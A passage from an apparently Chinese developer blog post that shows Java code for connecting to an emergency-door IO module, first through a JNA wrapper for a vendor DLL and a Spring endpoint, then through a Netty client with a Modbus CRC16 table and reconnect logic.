class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ocr.door;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.jna.Library;</span><br><span class="line"><span class="keyword">import</span> com.sun.jna.Native;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DoorCallSDK</span> <span class="keyword">extends</span> <span class="title class_">Library</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="type">DoorCallSDK</span> <span class="variable">INSTANCE</span> <span class="operator">=</span> (DoorCallSDK) Native.loadLibrary(<span class="string">&quot;IOSDK_x64&quot;</span>, DoorCallSDK.class);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 创建设备</span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;</span></span><br><span class="line"><span class="comment">     * 以IP 地址为参数，创建一个设备</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> strIp ansi 字符串，设备 IP 地址 如&quot;192.168.1</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 0 表示创建设备失败，非 0 成功；表示&quot;设备句柄&quot;</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">int</span> <span class="title function_">Jc_CreateDev</span><span class="params">(String strIp)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 登录（解锁）设备</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> lDev   设备句柄</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> strPwd ansi 字符串 表示设备登录（解锁）密</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 成功：0，失败：非零</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">int</span> <span class="title function_">Jc_LoginDev</span><span class="params">(<span class="type">int</span> lDev, String strPwd)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 删除（释放）设备</span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;</span></span><br><span class="line"><span class="comment">     * 释放不再需要使用的设备</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> lDev 设备句柄</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">Jc_DelDev</span><span class="params">(<span class="type">int</span> lDev)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 创建通讯设备（通过串口）</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> btAddr     modbus 地址</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> btWorkType 工作模式 （0：TcpServer，1：TCPClient，2：UDP）</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> btProtocol 协议类型 ( 0:Modbus_rtu , 1:modbus_Tcp</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> uLocalPort 本地端口</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> pDevIp     设备 ip 地址</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> uDevPort   设备通讯端口</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 成功：非零值，失败：0</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">int</span> <span class="title function_">Jc_CreateNetComuDev</span><span class="params">(<span class="type">byte</span> btAddr, <span class="type">byte</span> btWorkType, <span class="type">byte</span> btProtocol, <span class="type">short</span> uLocalPort, String pDevIp, <span class="type">short</span> uDevPort)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 判断是否已经连接到模块</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> hDev 连接句柄（前面两种方式任意一种创建通讯设备）</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 成功：true，失败：false</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">Jc_IsDevConnected</span><span class="params">(<span class="type">int</span> hDev)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 读取 IO 状态</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> hDev  设备句柄</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> strIo 16 个字节的缓冲区，每一个字节代表一个 io 状态 ‘0’:低 ‘1’:高</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 成功：0，失败：非零</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">int</span> <span class="title function_">Jc_GetIoState</span><span class="params">(<span class="type">int</span> hDev, <span class="type">byte</span>[] strIo)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置 IO 状态</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> hDev  设备句柄</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> strIo 16 个字节的缓冲区，每一个字节代表一个 io 状态 ‘0’:低 ‘1’:高</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 成功：0，失败：非零</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">int</span> <span class="title function_">Jc_SetIoState</span><span class="params">(<span class="type">int</span> hDev, <span class="type">byte</span>[] strIo)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 释放连接</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> hDev 连接句柄</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">Jc_ReleaseComuDev</span><span class="params">(<span class="type">int</span> hDev)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="为保证达成jar包后能顺利读取到所需要的dll，将dll复制至C-Windows-System32">为保证达成jar包后能顺利读取到所需要的dll，将dll复制至C:\Windows\System32</h3><h2 id="提供接口供外部使用">提供接口供外部使用</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">  * 设备通讯</span></span><br><span class="line"><span class="comment">  *</span></span><br><span class="line"><span class="comment">  * <span class="doctag">@return</span> 是否成功</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">@PostMapping(&quot;doorConn&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">doorCommunication</span><span class="params">(<span class="meta">@RequestBody</span> DoorDTO doorDTO)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">DoorCallSDK</span> <span class="variable">doorCallSDK</span> <span class="operator">=</span> DoorCallSDK.INSTANCE;</span><br><span class="line">        <span class="comment">// 连接到IO模块</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">mhCon</span> <span class="operator">=</span> doorCallSDK.Jc_CreateNetComuDev(doorDTO.getBtAddr(),</span><br><span class="line">                doorDTO.getBtWorkType(),</span><br><span class="line">                doorDTO.getBtProtocol(),</span><br><span class="line">                doorDTO.getLocalPort(),</span><br><span class="line">                doorDTO.getIp(),</span><br><span class="line">                doorDTO.getDevPort()</span><br><span class="line">        );</span><br><span class="line">        <span class="keyword">if</span> (mhCon == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        log.info(<span class="string">&quot;接口【/door/doorConn】什么什么门连接成功&quot;</span>);</span><br><span class="line">        <span class="comment">// 读取IO状态</span></span><br><span class="line">        sdk.Jc_GetIoState(mhCon, doorDTO.getMbtIoState());</span><br><span class="line">        <span class="comment">// 修改某个IO口的状态</span></span><br><span class="line">        <span class="comment">//            doorDTO.setMbtIoState();</span></span><br><span class="line">        <span class="comment">// 同步到设备中</span></span><br><span class="line">        sdk.Jc_SetIoState(mhCon, doorDTO.getMbtIoState());</span><br><span class="line">        <span class="comment">// 释放连接</span></span><br><span class="line">        sdk.Jc_ReleaseComuDev(mhCon);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (UnsatisfiedLinkError error) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;接口设备什么什么门通信连接失败&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="调用测试">调用测试</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/c80277048393fd5c6282855fddf45c22.png" alt="image-20230206165210418"></p><h2 id="后续">后续</h2><p>捷宸反馈dll调用的文档过时了，重新发了一份IO连接demo过来，实现一个netty客户端达到应急门控制的目的</p><h3 id="NettyClient">NettyClient</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ocr.client;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.convert.Convert;</span><br><span class="line"><span class="keyword">import</span> com.lyc.ocr.client.handler.NettyClientHandlerInitializer;</span><br><span class="line"><span class="keyword">import</span> io.netty.bootstrap.Bootstrap;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.*;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.nio.NioEventLoopGroup;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.socket.nio.NioSocketChannel;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.annotation.PreDestroy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashSet;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Optional;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ConcurrentHashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.TimeUnit;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NettyClient</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 重连频率，单位：秒</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Integer</span> <span class="variable">RECONNECT_SECONDS</span> <span class="operator">=</span> <span class="number">20</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> NettyClientHandlerInitializer nettyClientHandlerInitializer;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">int</span>[] g_McRctable_16 =</span><br><span class="line">            &#123;</span><br><span class="line">                    <span class="number">0x0000</span>, <span class="number">0xC0C1</span>, <span class="number">0xC181</span>, <span class="number">0x0140</span>, <span class="number">0xC301</span>, <span class="number">0x03C0</span>, <span class="number">0x0280</span>, <span class="number">0xC241</span>,</span><br><span class="line">                    <span class="number">0xC601</span>, <span class="number">0x06C0</span>, <span class="number">0x0780</span>, <span class="number">0xC741</span>, <span class="number">0x0500</span>, <span class="number">0xC5C1</span>, <span class="number">0xC481</span>, <span class="number">0x0440</span>,</span><br><span class="line">                    <span class="number">0xCC01</span>, <span class="number">0x0CC0</span>, <span class="number">0x0D80</span>, <span class="number">0xCD41</span>, <span class="number">0x0F00</span>, <span class="number">0xCFC1</span>, <span class="number">0xCE81</span>, <span class="number">0x0E40</span>,</span><br><span class="line">                    <span class="number">0x0A00</span>, <span class="number">0xCAC1</span>, <span class="number">0xCB81</span>, <span class="number">0x0B40</span>, <span class="number">0xC901</span>, <span class="number">0x09C0</span>, <span class="number">0x0880</span>, <span class="number">0xC841</span>,</span><br><span class="line">                    <span class="number">0xD801</span>, <span class="number">0x18C0</span>, <span class="number">0x1980</span>, <span class="number">0xD941</span>, <span class="number">0x1B00</span>, <span class="number">0xDBC1</span>, <span class="number">0xDA81</span>, <span class="number">0x1A40</span>,</span><br><span class="line">                    <span class="number">0x1E00</span>, <span class="number">0xDEC1</span>, <span class="number">0xDF81</span>, <span class="number">0x1F40</span>, <span class="number">0xDD01</span>, <span class="number">0x1DC0</span>, <span class="number">0x1C80</span>, <span class="number">0xDC41</span>,</span><br><span class="line">                    <span class="number">0x1400</span>, <span class="number">0xD4C1</span>, <span class="number">0xD581</span>, <span class="number">0x1540</span>, <span class="number">0xD701</span>, <span class="number">0x17C0</span>, <span class="number">0x1680</span>, <span class="number">0xD641</span>,</span><br><span class="line">                    <span class="number">0xD201</span>, <span class="number">0x12C0</span>, <span class="number">0x1380</span>, <span class="number">0xD341</span>, <span class="number">0x1100</span>, <span class="number">0xD1C1</span>, <span class="number">0xD081</span>, <span class="number">0x1040</span>,</span><br><span class="line">                    <span class="number">0xF001</span>, <span class="number">0x30C0</span>, <span class="number">0x3180</span>, <span class="number">0xF141</span>, <span class="number">0x3300</span>, <span class="number">0xF3C1</span>, <span class="number">0xF281</span>, <span class="number">0x3240</span>,</span><br><span class="line">                    <span class="number">0x3600</span>, <span class="number">0xF6C1</span>, <span class="number">0xF781</span>, <span class="number">0x3740</span>, <span class="number">0xF501</span>, <span class="number">0x35C0</span>, <span class="number">0x3480</span>, <span class="number">0xF441</span>,</span><br><span class="line">                    <span class="number">0x3C00</span>, <span class="number">0xFCC1</span>, <span class="number">0xFD81</span>, <span class="number">0x3D40</span>, <span class="number">0xFF01</span>, <span class="number">0x3FC0</span>, <span class="number">0x3E80</span>, <span class="number">0xFE41</span>,</span><br><span class="line">                    <span class="number">0xFA01</span>, <span class="number">0x3AC0</span>, <span class="number">0x3B80</span>, <span class="number">0xFB41</span>, <span class="number">0x3900</span>, <span class="number">0xF9C1</span>, <span class="number">0xF881</span>, <span class="number">0x3840</span>,</span><br><span class="line">                    <span class="number">0x2800</span>, <span class="number">0xE8C1</span>, <span class="number">0xE981</span>, <span class="number">0x2940</span>, <span class="number">0xEB01</span>, <span class="number">0x2BC0</span>, <span class="number">0x2A80</span>, <span class="number">0xEA41</span>,</span><br><span class="line">                    <span class="number">0xEE01</span>, <span class="number">0x2EC0</span>, <span class="number">0x2F80</span>, <span class="number">0xEF41</span>, <span class="number">0x2D00</span>, <span class="number">0xEDC1</span>, <span class="number">0xEC81</span>, <span class="number">0x2C40</span>,</span><br><span class="line">                    <span class="number">0xE401</span>, <span class="number">0x24C0</span>, <span class="number">0x2580</span>, <span class="number">0xE541</span>, <span class="number">0x2700</span>, <span class="number">0xE7C1</span>, <span class="number">0xE681</span>, <span class="number">0x2640</span>,</span><br><span class="line">                    <span class="number">0x2200</span>, <span class="number">0xE2C1</span>, <span class="number">0xE381</span>, <span class="number">0x2340</span>, <span class="number">0xE101</span>, <span class="number">0x21C0</span>, <span class="number">0x2080</span>, <span class="number">0xE041</span>,</span><br><span class="line">                    <span class="number">0xA001</span>, <span class="number">0x60C0</span>, <span class="number">0x6180</span>, <span class="number">0xA141</span>, <span class="number">0x6300</span>, <span class="number">0xA3C1</span>, <span class="number">0xA281</span>, <span class="number">0x6240</span>,</span><br><span class="line">                    <span class="number">0x6600</span>, <span class="number">0xA6C1</span>, <span class="number">0xA781</span>, <span class="number">0x6740</span>, <span class="number">0xA501</span>, <span class="number">0x65C0</span>, <span class="number">0x6480</span>, <span class="number">0xA441</span>,</span><br><span class="line">                    <span class="number">0x6C00</span>, <span class="number">0xACC1</span>, <span class="number">0xAD81</span>, <span class="number">0x6D40</span>, <span class="number">0xAF01</span>, <span class="number">0x6FC0</span>, <span class="number">0x6E80</span>, <span class="number">0xAE41</span>,</span><br><span class="line">                    <span class="number">0xAA01</span>, <span class="number">0x6AC0</span>, <span class="number">0x6B80</span>, <span class="number">0xAB41</span>, <span class="number">0x6900</span>, <span class="number">0xA9C1</span>, <span class="number">0xA881</span>, <span class="number">0x6840</span>,</span><br><span class="line">                    <span class="number">0x7800</span>, <span class="number">0xB8C1</span>, <span class="number">0xB981</span>, <span class="number">0x7940</span>, <span class="number">0xBB01</span>, <span class="number">0x7BC0</span>, <span class="number">0x7A80</span>, <span class="number">0xBA41</span>,</span><br><span class="line">                    <span class="number">0xBE01</span>, <span class="number">0x7EC0</span>, <span class="number">0x7F80</span>, <span class="number">0xBF41</span>, <span class="number">0x7D00</span>, <span class="number">0xBDC1</span>, <span class="number">0xBC81</span>, <span class="number">0x7C40</span>,</span><br><span class="line">                    <span class="number">0xB401</span>, <span class="number">0x74C0</span>, <span class="number">0x7580</span>, <span class="number">0xB541</span>, <span class="number">0x7700</span>, <span class="number">0xB7C1</span>, <span class="number">0xB681</span>, <span class="number">0x7640</span>,</span><br><span class="line">                    <span class="number">0x7200</span>, <span class="number">0xB2C1</span>, <span class="number">0xB381</span>, <span class="number">0x7340</span>, <span class="number">0xB101</span>, <span class="number">0x71C0</span>, <span class="number">0x7080</span>, <span class="number">0xB041</span>,</span><br><span class="line">                    <span class="number">0x5000</span>, <span class="number">0x90C1</span>, <span class="number">0x9181</span>, <span class="number">0x5140</span>, <span class="number">0x9301</span>, <span class="number">0x53C0</span>, <span class="number">0x5280</span>, <span class="number">0x9241</span>,</span><br><span class="line">                    <span class="number">0x9601</span>, <span class="number">0x56C0</span>, <span class="number">0x5780</span>, <span class="number">0x9741</span>, <span class="number">0x5500</span>, <span class="number">0x95C1</span>, <span class="number">0x9481</span>, <span class="number">0x5440</span>,</span><br><span class="line">                    <span class="number">0x9C01</span>, <span class="number">0x5CC0</span>, <span class="number">0x5D80</span>, <span class="number">0x9D41</span>, <span class="number">0x5F00</span>, <span class="number">0x9FC1</span>, <span class="number">0x9E81</span>, <span class="number">0x5E40</span>,</span><br><span class="line">                    <span class="number">0x5A00</span>, <span class="number">0x9AC1</span>, <span class="number">0x9B81</span>, <span class="number">0x5B40</span>, <span class="number">0x9901</span>, <span class="number">0x59C0</span>, <span class="number">0x5880</span>, <span class="number">0x9841</span>,</span><br><span class="line">                    <span class="number">0x8801</span>, <span class="number">0x48C0</span>, <span class="number">0x4980</span>, <span class="number">0x8941</span>, <span class="number">0x4B00</span>, <span class="number">0x8BC1</span>, <span class="number">0x8A81</span>, <span class="number">0x4A40</span>,</span><br><span class="line">                    <span class="number">0x4E00</span>, <span class="number">0x8EC1</span>, <span class="number">0x8F81</span>, <span class="number">0x4F40</span>, <span class="number">0x8D01</span>, <span class="number">0x4DC0</span>, <span class="number">0x4C80</span>, <span class="number">0x8C41</span>,</span><br><span class="line">                    <span class="number">0x4400</span>, <span class="number">0x84C1</span>, <span class="number">0x8581</span>, <span class="number">0x4540</span>, <span class="number">0x8701</span>, <span class="number">0x47C0</span>, <span class="number">0x4680</span>, <span class="number">0x8641</span>,</span><br><span class="line">                    <span class="number">0x8201</span>, <span class="number">0x42C0</span>, <span class="number">0x4380</span>, <span class="number">0x8341</span>, <span class="number">0x4100</span>, <span class="number">0x81C1</span>, <span class="number">0x8081</span>, <span class="number">0x4040</span></span><br><span class="line">            &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 线程组，用于客户端对服务端的链接、数据读写</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">EventLoopGroup</span> <span class="variable">eventGroup</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">NioEventLoopGroup</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用于保存channel通道</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, Channel&gt; CHANNEL_MAP = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 保存用户需要重连的地址信息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Set&lt;String&gt; CONNECT_LIST = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">reconnect</span><span class="params">()</span> &#123;</span><br><span class="line">        eventGroup.schedule(() -&gt; &#123;</span><br><span class="line">            log.info(<span class="string">&quot;[reconnect][开始重连]&quot;</span>);</span><br><span class="line"></span><br><span class="line">            CONNECT_LIST.forEach((a) -&gt; &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    String[] s = a.split(<span class="string">&quot;:&quot;</span>);</span><br><span class="line">                    start(s[<span class="number">0</span>], Convert.toInt(s[<span class="number">1</span>]), <span class="keyword">new</span> <span class="title class_">byte</span>[]&#123;&#125;);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                    log.error(<span class="string">&quot;[reconnect][重连失败]&quot;</span>, e);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;);</span><br><span class="line"></span><br><span class="line">        &#125;, RECONNECT_SECONDS, TimeUnit.SECONDS);</span><br><span class="line">        log.info(<span class="string">&quot;[reconnect][&#123;&#125; 秒后将发起重连]&quot;</span>, RECONNECT_SECONDS);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 启动 Netty Client</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">start</span><span class="params">(String host, Integer port, <span class="type">byte</span>[] content)</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        <span class="keyword">if</span> (CHANNEL_MAP.containsKey(host + <span class="string">&quot;:&quot;</span> + port) &amp;&amp; CHANNEL_MAP.get(host + <span class="string">&quot;:&quot;</span> + port) != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 创建 Bootstrap 对象，用于 Netty Client 启动</span></span><br><span class="line">        <span class="type">Bootstrap</span> <span class="variable">bootstrap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Bootstrap</span>();</span><br><span class="line">        <span class="comment">// 设置 Bootstrap 的各种属性。</span></span><br><span 